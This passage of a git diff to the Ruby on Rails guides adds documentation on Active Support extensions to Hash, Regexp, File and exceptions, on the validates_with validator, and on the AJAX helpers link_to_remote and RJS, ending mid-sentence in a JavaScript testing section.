<contributor> +# <id>4356</id> +# <name>Jeremy Kemper</name> +# <rank>1</rank> +# <url-id>jeremy-kemper</url-id> +# </contributor> +# <contributor> +# <id>4404</id> +# <name>David Heinemeier Hansson</name> +# <rank>2</rank> +# <url-id>david-heinemeier-hansson</url-id> +# </contributor> +# </contributors> +</ruby> + +h4. Wrapping + +The class method +Array.wrap+ behaves like the function +Array()+ except that it does not try to call +to_a+ on its argument. That changes the behaviour for enumerables: + +<ruby> +Array.wrap(:foo => :bar) # => [{:foo => :bar}] +Array(:foo => :bar) # => [[:foo, :bar]] + +Array.wrap("foo\nbar") # => ["foo\nbar"] +Array("foo\nbar") # => ["foo\n", "bar"], in Ruby 1.8 +</ruby> + h4. Grouping h5. +in_groups_of(number, fill_with = nil)+ @@ -757,7 +1253,374 @@ NOTE: Observe in the previous example that consecutive separators result in empt h3. Extensions to +Hash+ -... +h4. Conversions + +h5. +to_xml+ + +The method +to_xml+ returns a string containing an XML representation of its receiver: + +<ruby> +{"foo" => 1, "bar" => 2}.to_xml +# => +# <?xml version="1.0" encoding="UTF-8"?> +# <hash> +# <foo type="integer">1</foo> +# <bar type="integer">2</bar> +# </hash> +</ruby> + +To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair +key+, +value+: + +* If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>. + +* If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>, and +key+ singularized as <tt>:children</tt>. + +* If +value+ is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the +options+ hash as first argument with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. Its return value becomes a new node. + +* If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>. + +* Otherwise, a node with +key+ as tag is created with a string representation of +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added. Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is added as well according to the following mapping: +<ruby> +XML_TYPE_NAMES = { + "Symbol" => "symbol", + "Fixnum" => "integer", + "Bignum" => "integer", + "BigDecimal" => "decimal", + "Float" => "float", + "TrueClass" => "boolean", + "FalseClass" => "boolean", + "Date" => "date", + "DateTime" => "datetime", + "Time" => "datetime" +} +</ruby> + +By default the root node is "hash", but that's configurable via the <tt>:root</tt> option. + +The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder with the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder. + +h4. Merging + +Ruby has a builtin method +Hash#merge+ that merges two hashes: + +<ruby> +{:a => 1, :b => 1}.merge(:a => 0, :c => 2) +# => {:a => 0, :b => 1, :c => 2} +</ruby> + +Active Support defines a few more ways of merging hashes that may be convenient. + +h5. +reverse_merge+ and +reverse_merge!+ + +In case of collision the key in the hash of the argument wins in +merge+. You can support option hashes with default values in a compact way with this idiom: + +<ruby> +options = {:length => 30, :omission => "..."}.merge(options) +</ruby> + +Active Support defines +reverse_merge+ in case you prefer this alternative notation: + +<ruby> +options = options.reverse_merge(:length => 30, :omission => "...") +</ruby> + +And a bang version +reverse_merge!+ that performs the merge in place: + +<ruby> +options.reverse_merge!(:length => 30, :omission => "...") +</ruby> + +WARNING. Take into account that +reverse_merge!+ may change the hash in the caller, which may or may not be a good idea. + +h5. +reverse_update+ + +The method +reverse_update+ is an alias for +reverse_merge!+, explained above. + +WARNING. Note that +reverse_update+ has no bang. + +h5. +deep_merge+ and +deep_merge!+ + +As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins. + +Active Support defines +Hash#deep_merge+. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash: + +<ruby> +{:a => {:b => 1}}.deep_merge(:a => {:c => 2}) +# => {:a => {:b => 1, :c => 2}} +</ruby> + +The method +deep_merge!+ performs a deep merge in place. + +h4. Diffing + +The method +diff+ returns a hash that represents a diff of the receiver and the argument with the following logic: + +* Pairs +key+, +value+ that exist in both hashes do not belong to the diff hash. + +* If both hashes have +key+, but with different values, the pair in the receiver wins. + +* The rest is just merged. + +<ruby> +{:a => 1}.diff(:a => 1) +# => {}, first rule + +{:a => 1}.diff(:a => 2) +# => {:a => 1}, second rule + +{:a => 1}.diff(:b => 2) +# => {:a => 1, :b => 2}, third rule + +{:a => 1, :b => 2, :c => 3}.diff(:b => 1, :c => 3, :d => 4) +# => {:a => 1, :b => 2, :d => 4}, all rules + +{}.diff({}) # => {} +{:a => 1}.diff({}) # => {:a => 1} +{}.diff(:a => 1) # => {:a => 1} +</ruby> + +An important property of this diff hash is that you can retrieve the original hash by applying +diff+ twice: + +<ruby> +hash.diff(hash2).diff(hash2) == hash +</ruby> + +Diffing hashes may be useful for error messages related to expected option hashes for example. + +h4. Working with Keys + +h5. +except+ and +except!+ + +The method +except+ returns a hash with the keys in the argument list removed, if present: + +<ruby> +{:a => 1, :b => 2}.except(:a) # => {:b => 2} +</ruby> + +If the receiver responds to +convert_key+, the method is called on each of the arguments. This allows +except+ to play nice with hashes with indifferent access for instance: + +<ruby> +{:a => 1}.with_indifferent_access.except(:a) # => {} +{:a => 1}.with_indifferent_access.except("a") # => {} +</ruby> + +The method +except+ may come in handy for example when you want to protect some parameter that can't be globally protected with +attr_protected+: + +<ruby> +params[:account] = params[:account].except(:plan_id) unless admin? +@account.update_attributes(params[:account]) +</ruby> + +There's also the bang variant +except!+ that removes keys in the very receiver. + +h5. +stringify_keys+ and +stringify_keys!+ + +The method +stringify_keys+ returns a hash that has a stringified version of the keys in the receiver. It does so by sending +to_s+ to them: + +<ruby> +{nil => nil, 1 => 1, :a => :a}.stringify_keys +# => {"" => nil, "a" => :a, "1" => 1} +</ruby> + +The result in case of collision is undefined: + +<ruby> +{"a" => 1, :a => 2}.stringify_keys +# => {"a" => 2}, in my test, can't rely on this result though +</ruby> + +This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionView::Helpers::FormHelper+ defines: + +<ruby> +def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0") + options = options.stringify_keys + options["type"] = "checkbox" + ... +end +</ruby> + +The second line can safely access the "type" key, and let the user to pass either +:type+ or "type". + +There's also the bang variant +stringify_keys!+ that stringifies keys in the very receiver. + +h5. +symbolize_keys+ and +symbolize_keys!+ + +The method +symbolize_keys+ returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending +to_sym+ to them: + +<ruby> +{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys +# => {1 => 1, nil => nil, :a => "a"} +</ruby> + +WARNING. Note in the previous example only one key was symbolized. + +The result in case of collision is undefined: + +<ruby> +{"a" => 1, :a => 2}.symbolize_keys +# => {:a => 2}, in my test, can't rely on this result though +</ruby> + +This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionController::UrlRewriter+ defines + +<ruby> +def rewrite_path(options) + options = options.symbolize_keys + options.update(options[:params].symbolize_keys) if options[:params] + ... +end +</ruby> + +The second line can safely access the +:params+ key, and let the user to pass either +:params+ or "params". + +There's also the bang variant +symbolize_keys!+ that symbolizes keys in the very receiver. + +h5. +to_options+ and +to_options!+ + +The methods +to_options+ and +to_options!+ are respectively aliases of +symbolize_keys+ and +symbolize_keys!+. + +h5. +assert_valid_keys+ + +The method +assert_valid_keys+ receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does +ArgumentError+ is raised. + +<ruby> +{:a => 1}.assert_valid_keys(:a) # passes +{:a => 1}.assert_valid_keys("a") # ArgumentError +</ruby> + +Active Record does not accept unknown options when building associations for example. It implements that control via +assert_valid_keys+: + +<ruby> +mattr_accessor :valid_keys_for_has_many_association +@@valid_keys_for_has_many_association = [ + :class_name, :table_name, :foreign_key, :primary_key, + :dependent, + :select, :conditions, :include, :order, :group, :having, :limit, :offset, + :as, :through, :source, :source_type, + :uniq, + :finder_sql, :counter_sql, + :before_add, :after_add, :before_remove, :after_remove, + :extend, :readonly, + :validate, :inverse_of +] + +def create_has_many_reflection(association_id, options, &extension) + options.assert_valid_keys(valid_keys_for_has_many_association) + ... +end +</ruby> + +h4. Slicing + +Ruby has builtin support for taking slices out of strings and arrays. Active Support extends slicing to hashes: + +<ruby> +{:a => 1, :b => 2, :c => 3}.slice(:a, :c) +# => {:c => 3, :a => 1} + +{:a => 1, :b => 2, :c => 3}.slice(:b, :X) +# => {:b => 2} # non-existing keys are ignored +</ruby> + +If the receiver responds to +convert_key+ keys are normalized: + +<ruby> +{:a => 1, :b => 2}.with_indifferent_access.slice("a") +# => {:a => 1} +</ruby> + +NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys. + +There's also +slice!+ which in addition to perform a slice in place returns what's removed: + +<ruby> +hash = {:a => 1, :b => 2} +rest = hash.slice!(:a) # => {:b => 2} +hash # => {:a => 1} +</ruby> + +h4. Indifferent Access + +The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver: + +<ruby> +{:a => 1}.with_indifferent_access["a"] # => 1 +</ruby> + +h3. Extensions to +Regexp+ + +h4. +number_of_captures+ + +The method +number_of_captures+ returns the number of capturing groups in a given regexp: + +<ruby> +%r{}.number_of_captures # => 0 +%r{.(.).}.number_of_captures # => 1 +%r{\A((#)(\w+|\s+))\z}.number_of_captures # => 3 +</ruby> + +Routing code for example uses that method to generate path recognizers: + +<ruby> +def recognition_extraction + next_capture = 1 + extraction = segments.collect do |segment| + x = segment.match_extraction(next_capture) + next_capture += segment.number_of_captures + x + end + extraction.compact +end +</ruby> + +h4. +multiline?+ + +The method +multiline?+ says whether a regexp has the +/m+ flag set, that is, whether the dot matches newlines. + +<ruby> +%r{.}.multiline? # => false +%r{.}m.multiline? # => true + +Regexp.new('.').multiline? # => false +Regexp.new('.', Regexp::MULTILINE).multiline? # => true +</ruby> + +Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint. + +<ruby> +def assign_route_options(segments, defaults, requirements) + ... + if requirement.multiline? + raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}" + end + ... +end +</ruby> + +h4. +optionalize(pattern)+ + +The class method +optionalize+ builds a regexp where the pattern argument is optional. That roughly means it gets a question mark appended with a non-capturing group if needed: + +<ruby> +Regexp.optionalize('') # => '' +Regexp.optionalize('.') # => '.?' +Regexp.optionalize('...') # => '(?:...)?' +</ruby> + +This method is also used by the routing system, it helps in building optional regexp segments. + +h4. +unoptionalize(pattern)+ + +The class method +unoptionalize+ is the inverse of +optionalize+ for optional regexps, and the identity for the rest: + +<ruby> +Regexp.unoptionalize('') # => '' +Regexp.unoptionalize('.?') # => '.' +Regexp.unoptionalize('(?:...)?') # => '...' +Regexp.unoptionalize('\A\w+\z') # => '\A\w+\z' +</ruby> + +This method is also used in the routes code for building regexps. h3. Extensions to +Range+ @@ -789,7 +1652,25 @@ h3. Extensions to +Pathname+ h3. Extensions to +File+ -... +h4. +atomic_write+ + +With the class method +File.atomic_write+ you can write to a file in a way that will prevent any reader from seeing half-written content. + +The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done +atomic_write+ closes the file handle and completes its job. + +For example, Action Pack uses this method to write asset cache files like +all.css+: + +<ruby> +File.atomic_write(joined_asset_path) do |cache| + cache.write(join_asset_file_contents(asset_paths)) +end +</ruby> + +To accomplish this +atomic_write+ creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed. If the target file exists +atomic_write+ overwrites it and keeps owners and permissions. + +WARNING. Note you can't append with +atomic_write+. + +The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument. h3. Extensions to +Exception+ @@ -797,11 +1678,54 @@ h3. Extensions to +Exception+ h3. Extensions to +NameError+ -... +Active Support adds +missing_name?+ to +NameError+, which tests whether the exception was raised because of the name passed as argument. + +The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name. +TIP: A symbol can represent a fully-qualified constant name as in +:"ActiveRecord::Base"+, so the behaviour for symbols is defined for convenience, not because it has to be that way technically. + +For example, when an action of +PostsController+ is called Rails tries optimistically to use +PostsHelper+. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that +posts_helper.rb+ raises a +NameError+ due to an actual unknown constant. That should be reraised. The method +missing_name?+ provides a way to distinguish both cases: + +<ruby> +def default_helper_module! + module_name = name.sub(/Controller$/, '') + module_path = module_name.underscore + helper module_path +rescue MissingSourceFile => e + raise e unless e.is_missing? "#{module_path}_helper" +rescue NameError => e + raise e unless e.missing_name? "#{module_name}Helper" +end +</ruby> + h3. Extensions to +LoadError+ +Rails hijacks +LoadError.new+ to return a +MissingSourceFile+ exception: + +<shell> +$ ruby -e 'require "nonexistent"' +...: no such file to load -- nonexistent (LoadError) +... +$ script/runner 'require "nonexistent"' +...: no such file to load -- nonexistent (MissingSourceFile) ... +</shell> + +The class +MissingSourceFile+ is a subclass of +LoadError+, so any code that rescues +LoadError+ as usual still works as expected. Point is these exception objects respond to +is_missing?+, which given a path name tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension). + +For example, when an action of +PostsController+ is called Rails tries to load +posts_helper.rb+, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist, but it in turn requires another library that is missing. In that case Rails must reraise the exception. The method +is_missing?+ provides a way to distinguish both cases: + +<ruby> +def default_helper_module! + module_name = name.sub(/Controller$/, '') + module_path = module_name.underscore + helper module_path +rescue MissingSourceFile => e + raise e unless e.is_missing? "#{module_path}_helper" +rescue NameError => e + raise e unless e.missing_name? "#{module_name}Helper" +end +</ruby> h3. Extensions to +CGI+ diff --git a/railties/guides/source/activerecord_validations_callbacks.textile b/railties/guides/source/activerecord_validations_callbacks.textile index 03d521ea1f..9d0ee29ff2 100644 --- a/railties/guides/source/activerecord_validations_callbacks.textile +++ b/railties/guides/source/activerecord_validations_callbacks.textile @@ -403,6 +403,47 @@ WARNING. Note that some databases are configured to perform case-insensitive sea The default error message for +validates_uniqueness_of+ is "_has already been taken_". +h4. +validates_with+ + +This helper passes the record to a separate class for validation. + +<ruby> +class Person < ActiveRecord::Base + validates_with GoodnessValidator +end + +class GoodnessValidator < ActiveRecord::Validator + def validate + if record.first_name == "Evil" + record.errors[:base] << "This person is evil" + end + end +end +</ruby> + +The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class. + +The validator class has two attributes by default: + +* +record+ - the record to be validated +* +options+ - the extra options that were passed to +validates_with+ + +Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+: + +<ruby> +class Person < ActiveRecord::Base + validates_with GoodnessValidator, :fields => [:first_name, :last_name] +end + +class GoodnessValidator < ActiveRecord::Validator + def validate + if options[:fields].any?{|field| record.send(field) == "Evil" } + record.errors[:base] << "This person is evil" + end + end +end +</ruby> + h4. +validates_each+ This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case. diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile index 74e8dec5cf..8a38cf2dc2 100644 --- a/railties/guides/source/ajax_on_rails.textile +++ b/railties/guides/source/ajax_on_rails.textile @@ -3,9 +3,8 @@ h2. AJAX on Rails This guide covers the built-in Ajax/Javascript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics: * Quick introduction to AJAX and related technologies -* Handling Javascript the Rails way: Rails helpers, RJS, Prototype and script.aculo.us +* Handling Javascript the Rails way: Rails helpers, RJS, Prototype and script.aculo.us * Testing Javascript functionality -* Becoming an Ajax Master on Rails: Plugins, Best Practices, Tips and Tricks endprologue. @@ -30,65 +29,314 @@ How do 'standard' and AJAX requests differ, why does this matter for understandi -h3. Built-in Rails Helpers +h3. Built-in Rails Helpers -Mostly a reference to standard JS helpers like link_to_remote, remote_form_for etc + some explanation +Rails' Javascript framework of choice is "Prototype":http://www.prototypejs.org. Prototype is a generic-purpose Javascript framework that aims to ease the development of dynamic web applications by offering DOM manipulation, AJAX and other Javascript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views. +To get access to these helpers, all you have to do is to include the prototype framework in your pages - typically in your master layout, application.html.erb - like so: +<ruby> +javascript_include_tag 'prototype' +</ruby> +You are ready to add some AJAX love to your Rails app! -h3. Responding to AJAX the Rails way: RJS +h4. The Quintessential AJAX Rails Helper: link_to_remote -In the last section we sent some AJAX requests to the server; now we need to respond, and the standard Rails way to this is using RJS; RJS intro, function reference +Let's start with the the probably most often used helper: +link_to_remote+, which has an interesting feature from the documentation point of view: the options supplied to +link_to_remote+ are shared by all other AJAX helpers, so learning the mechanics and options of +link_to_remote+ is a great help when using other helpers. +The signature of +link_to_remote+ function is the same as that of the standard +link_to+ helper: +<ruby> +def link_to_remote(name, options = {}, html_options = nil) +</ruby> -h3. I Want my Yellow Thingy: Prototype and Script.aculo.us +And here is a simple example of link_to_remote in action: -Walk through prototype and script.aculo.us, most important functionality, method reference etc. +<ruby> +link_to_remote "Add to cart", + :url => add_to_cart_url(product.id), + :update => "cart" +</ruby> +* The very first parameter, a string, is the text of the link which appears on the page. +* The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff: +** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too. +** *:update* There are basically two ways of injecting the server response into the page: One is involving RJS and we will discuss it in the next chapter, and the other is specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation: -h3. Testing Javascript +<ruby> +link_to_remote "Add to cart", + :url => add_to_cart_url(product), + :update => { :success => "cart", :failure => "error" } +</ruby> -Javascript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with Javascript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it: +If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element. -* (Fire)Watir -* Selenium -* Celerity/Culerity -* Cucumber+Webrat -* Mention stuff like screw.unit/jsSpec +** *position* By default (i.e. when not specifying this option, like in the examples before) the repsonse is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities: +*** +:before+ Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element. +*** +:after+ Similar behavior to +:before+, but in this case the response is inserted after the target element. +*** +:top+ Inserts the text into the target element, before it's original content. If the target element was empty, this is equivalent with not specifying +:position+ at all. +*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content. + +A typical example of using +:bottom+ is inserting a new <li> element into an existing list: + +<ruby> +link_to_remote "Add new item", + :url => items_url, + :update => 'item_list', + :position => :bottom +</ruby> + +** *:method* Most typically you want to use a POST request when adding a remote link to your view so this is the default behavior. However, sometimes you'll want to update (PUT) or delete/destroy (DELETE) something and you can specify this with the +:method+ option. Let's see an example for a typical AJAX link for deleting an item from a list: + +<ruby> +link_to_remote "Delete the item", + :url => item_url(item), + :method => :delete +</ruby> + +Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy. + +** *JavaScript filters* You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one: +*** +:confirm+ => +msg+ Pops up a JavaScript confirmation dialog, displaying +msg+. If the user chooses 'OK', the request is launched, otherwise canceled. +*** +:condition+ => +code+ Evaluates +code+ (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise. +*** +:before+ => +code+ Evaluates the +code+ just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example). +*** +:after+ => +code+ Evaluates the +code+ after launching the request. Note that this is different from the +:success+ or +:complete+ callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to +:after+ is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed. +*** +:submit+ => +dom_id+ This option does not make sense for +link_to_remote+, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id +dom_id+. +*** +:with+ > +code+ The JavaScript code snippet in +code+ is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, +code+ should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example: + +<ruby> +link_to_remote "Update record", + :url => record_url(record), + :method => :put, + :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')" +</ruby> + +This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id). + +** *Callbacks* Since an AJAX call is typically asynchronous, as it's name suggests (this is not a rule, and you can fire a synchronous request - see the last option, +:type+) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant): +*** +:loading:+ => +code+ The request is in the process of receiving the data, but the transfer is not completed yet. +*** +:loaded:+ => +code+ The transfer is completed, but the data is not processed and returned yet +*** +:interactive:+ => +code+ One step after +:loaded+: The data is fully received and being processed +*** +:success:+ => +code+ The data is fully received, parsed and the server responded with "200 OK" +*** +:failure:+ => +code+ The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509) +*** +:complete:+ => +code+ The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything). +*** Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number: +<ruby> +link_to_remote "Add new item", + :url => items_url, + :update => "item_list", + 404 => "alert('Item not found!')" +</ruby> +Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action: +<ruby> +link_to_remote "Add new item", + :url => items_url, + :update => "item_list", + :before => "$('progress').show()", + :complete => "$('progress').hide()", + :success => "display_item_added(request)", + :failure => "display_error(request)", +</ruby> +** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+. +* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though: +** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser +** +link_to_remote+ gains it's AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply +html_options[:onclick]+ you override the default behavior, so use this with care! + +We are finished with +link_to_remote+. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections. + +h4. AJAX Forms + +There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following: + +* +remote_form_for+ (and it's alias +form_remote_for+) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter. +* +form_remote_tag+ AJAXifies the form by serializing and sending it's data in the background +* +submit_to_remote+ and +button_to_remote+ is more rarely used than the previous two. Rather than creating an AJAX form, you add a button/input + +Let's se them in action one by one! + +h5. +remote_form_for+ + +h5. +form_remote_tag+ + +h5. +submit_to_remote+ + +h4. Observing Elements + +h5. +observe_field+ + +h5. +observe_form+ + +h4. Calling a Function Periodically + +h5. +periodically_call_remote+ + + +h4. Miscellaneous Functionality + +h5. +remote_function+ + +h5. +update_page+ + + +h3. JavaScript the Rails way: RJS + +In the last section we sent some AJAX requests to the server, and inserted the HTML response into the page (with the +:update+ option). However, sometimes a more complicated interaction with the page is needed, which you can either achieve with JavaScript... or with RJS! You are sending JavaScript instructions to the server in both cases, but while in the former case you have to write vanilla JavaScript, in the second you can code Rails, and sit back while Rails generates the JavaScript for you - so basically RJS is a Ruby DSL to write JavaScript in your Rails code. + +h4. Javascript without RJS + +First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood. + +<ruby> +def javascript_test + render :text => "alert('Hello, world!')", + :content_type => "text/javascript" +end +</ruby> + +(Note: if you want to test the above method, create a +link_to_remote+ with a single parameter - +:url+, pointing to the +javascript_test+ action) + +What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior). + +h4. Inline RJS + +As we said, the purpose of RJS is to write Ruby which is then auto-magically turned into JavaScript by Rails. The above example didn't look too Ruby-esque so let's see how to do it the Rails way: + +<ruby> +def javascript_test + render :update do |page| + page.alert "Hello from inline RJS" + end +end +</ruby> + +The above code snippet does exactly the same as the one in the previous section - going about it much more elegantly though. You don't need to worry about headers,write ugly JavaScript code into a string etc. When the first parameter to +render+ is +:update+, Rails expects a block with a single parameter (+page+ in our case, which is the traditional naming convention) which is an instance of the JavaScriptGenerator:"http://api.rubyonrails.org/classes/ActionView/Helpers/PrototypeHelper/JavaScriptGenerator/GeneratorMethods.html" object. As it's name suggests, JavaScriptGenerator is responsible for generating JavaScript from your Ruby code. You can execute multiple method calls on the +page+ instance - it's all turned into JavaScript code and sent to the server with the appropriate Content Type, "text/javascript". + +h4. RJS Templates -Note to self: check out the RailsConf JS testing video +If you don't want to clutter your controllers with view code (especially when your inline RJS is more than a few lines), you can move your RJS code to a template file. RJS templates should go to the +/app/views/+ directory, just as +.html.erb+ or any other view files of the appropriate controller, conventionally named +js.rjs+. -h3. Useful Plugins +To rewrite the above example, you can leave the body of the action empty, and create a RJS template named +javascript_test.js.rjs+, containing the following line: -This was in the ticket description, but at the moment I don't really have clue what to add here, so please tell me +<ruby> +page.alert "Hello from inline RJS" +</ruby> +h4. RJS Reference +In this section we'll go through the methods RJS offers. -h3. Tips and Tricks +h5. JavaScriptGenerator Methods -* Unobtrusive Javascript (Prototype events, maybe the jQuery way (esp. jQeury.live())) +h6. DOM Element Manipulation -* Minimize communication with the server - there does not have to be a communication at all! -** If you absolutely don't have to, don't use Rails observers -** Cache stuff on the client side, e.g. with auto-complete +It is possible to manipulate multiple elements at once through the +page+ JavaScriptGenerator instance. Let's see this in action: -* Using AJAX to load stuff asynchronously -** To avoid page blocking -** Tricking page caching -*** inserting user-specific info into a cached page -*** anti-CSFR bit +<ruby> +page.show :div_one, :div_two +page.hide :div_one +page.remove :div_one, :div_two, :div_three +page.toggle :other_div +</ruby> -* Jumping to the top? Try event.stopPropagation +The above methods (+show+, +hide+, +remove+, +toggle+) have the same semantics as the Prototype methods of the same name. You can pass an arbitrary number (but at least one) of DOM ids to these calls. -* Performance -** pack your javascript (minify, asset packager) -** require your JS at the end of the file -** other perf tricks and optimization -* Don't overuse AJAX -** Usability first, cool effects second -** situations where AJAX is discouraged +h6. Inserting and Replacing Content + +You can insert content into an element on the page with the +insert_html+ method: + +<ruby> +page.insert_html :top, :result, '42' +</ruby> + +The first parameter is the position of the new content relative to the element specified by the second parameter, a DOM id. + +Position can be one of these four values: + +*** +:before+ Inserts the response text just before the target element. +*** +:after+ The response is inserted after the target element. +*** +:top+ Inserts the text into the target element, before it's original content. +*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content. + +The third parameter can either be a string, or a hash of options to be passed to ActionView::Base#render - for example: + +<ruby> +page.insert_html :top, :result, :partial => "the_answer" +</ruby> + +You can replace the contents (innerHTML) of an element with the +replace_html+ method. The only difference is that since it's clear where should the new content go, there is no need for a position parameter - so +replace_html+ takes only two arguments, +the DOM id of the element you wish to modify and a string or a hash of options to be passed to ActionView::Base#render. + +h6. Delay + +You can delay the execution of a block of code with +delay+: + +<ruby> +page.delay(10) { page.alert('Hey! Just waited 10 seconds') } +</ruby> + ++delay+ takes one parameter (time to wait in seconds) and a block which will be executed after the specified time has passed - whatever else follows a +page.delay+ line is executed immediately, the delay affects only the code in the block. + +h6. Reloading and Redirecting + +You can reload the page with the +reload+ method: + +<ruby> +page.reload +</ruby> + +When using AJAX, you can't rely on the standard +redirect_to+ controller method - you have to use the +page+'s instance method, also called +redirect_to+: + +<ruby> +page.redirect_to some_url +</ruby> + +h6. Generating Arbitrary JavaScript + +Sometimes even the full power of RJS is not enough to accomplish everything, but you still don't want to drop to pure JavaScript. A nice golden mean is offered by the combination of +<<+, +assign+ and +call+ methods: + +<ruby> + page << "alert('1+1 equals 3')" +</ruby> + +So +<<+ is used to execute an arbitrary JavaScript statement, passed as string to the method. The above code is equivalent to: + +<ruby> + page.assign :result, 3 + page.call :alert, '1+1 equals ' + result +</ruby> + ++assign+ simply assigns a value to a variable. +call+ is similar to +<<+ with a slightly different syntax: the first parameter is the name of the function to call, followed by the list of parameters passed to the function. + +h6. Class Proxies + +h5. Element Proxies + +h5. Collection Proxies + +h5. RJS Helpers + + + +h3. I Want my Yellow Thingy: Quick overview of Script.aculo.us + +h4. Introduction + +h4. Visual Effects + +h4. Drag and Drop + + + +h3. Testing Javascript + +Javascript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with Javascript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we 